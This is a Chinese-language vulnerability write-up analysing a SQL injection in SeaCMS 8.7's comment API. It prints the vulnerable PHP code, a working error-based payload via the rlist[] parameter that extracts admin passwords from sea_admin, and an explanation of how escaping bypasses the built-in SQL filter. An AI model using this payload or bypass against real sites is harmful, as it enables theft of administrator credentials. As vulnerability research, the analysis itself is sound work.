其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注入分析的内容。
0x01环境
Web:phpstudy and MAMP
System:Windows 7 X64 and MacOS[出自:jiwo.org]
Browser:Firefox Quantum and Chrome
MySQL:5.5
php:5.4
0x02漏洞详情
01
漏洞复现
payload:
http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@
之前在MySQL 5.6、5.7上面复现都不成功,因为这两个版本用extractvalue( )、updatexml( )报错注入不成功,后来换了系统Linux和Windows还有macOS来测试也是一样,和PHP、Apache的版本没有影响,还是MySQL的版本问题,所以大家测试的时候注意一下版本。
漏洞文件是在:comment/api/index.php
<?php session_start(); require_once("../../include/common.php"); $id = (isset($gid) && is_numeric($gid)) ? $gid : 0; $page = (isset($page) && is_numeric($page)) ? $page : 1; $type = (isset($type) && is_numeric($type)) ? $type : 1; $pCount = 0; $jsoncachefile = sea_DATA."/cache/review/$type/$id.js"; //缓存第一页的评论 if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
} $h = ReadData($id,$page); $rlist = array(); if($page<2)
{
createTextFile($h,$jsoncachefile);
} die($h); function ReadData($id,$page) {
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
} function Readmlist($id,$page,$size) {
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
} function Readrlist($ids,$page,$size) {
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
传入$rlist的值为我们构造的SQL语句:
@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`
通过ReadData函数,implode处理后传入Readrlist函数。
可以看到执行的SQL语句是:
它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测。
文件在include/sql.class.php的CheckSql函数
//完整的SQL检查 while (true)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会在这里检测到:
后面$clean就是要送去检测的函数,通过一番处理后得到的值为:
后面返回来执行的SQL语句还是原样没动
以上基本分析就完成了。
最终执行的语句:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC
还有一些问题就是构造语句的问题。
刚开始传入的%27后面怎么变成了转义后的单引号?
require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数,如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数,这个函数是把值经过addslashes函数的处理。此函数的作用是为所有的 ' (单引号), \" (双引号), \ (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。
所以后面的SQL语句就会加上转义符号,然后经过CheckSql函数的时候就绕过了对报错语句的检测。
function _RunMagicQuotes(&$svar) {
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else {
$svar = addslashes($svar);
}
}
return $svar;
}
为什么要加上``两个反引号和@?
因in在MySQL里面用法是:
value1必须是一个值,整数型或者文本型都可以,如果用单引号的话就会变成三个转义\'\'\'
在MySQL上面是作为一个转义符号来使用,一般为了不让和系统的变量冲突所以使用,一般在数据库名、表名、字段名使用,所以这里用@来使这个成为一个变量类型。
后记
在6.53的版本中include/common.php中的44-47行接收到变量:
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
但是在75行这里又重新赋值了:
require_once(sea_DATA."/config.cache.inc.php");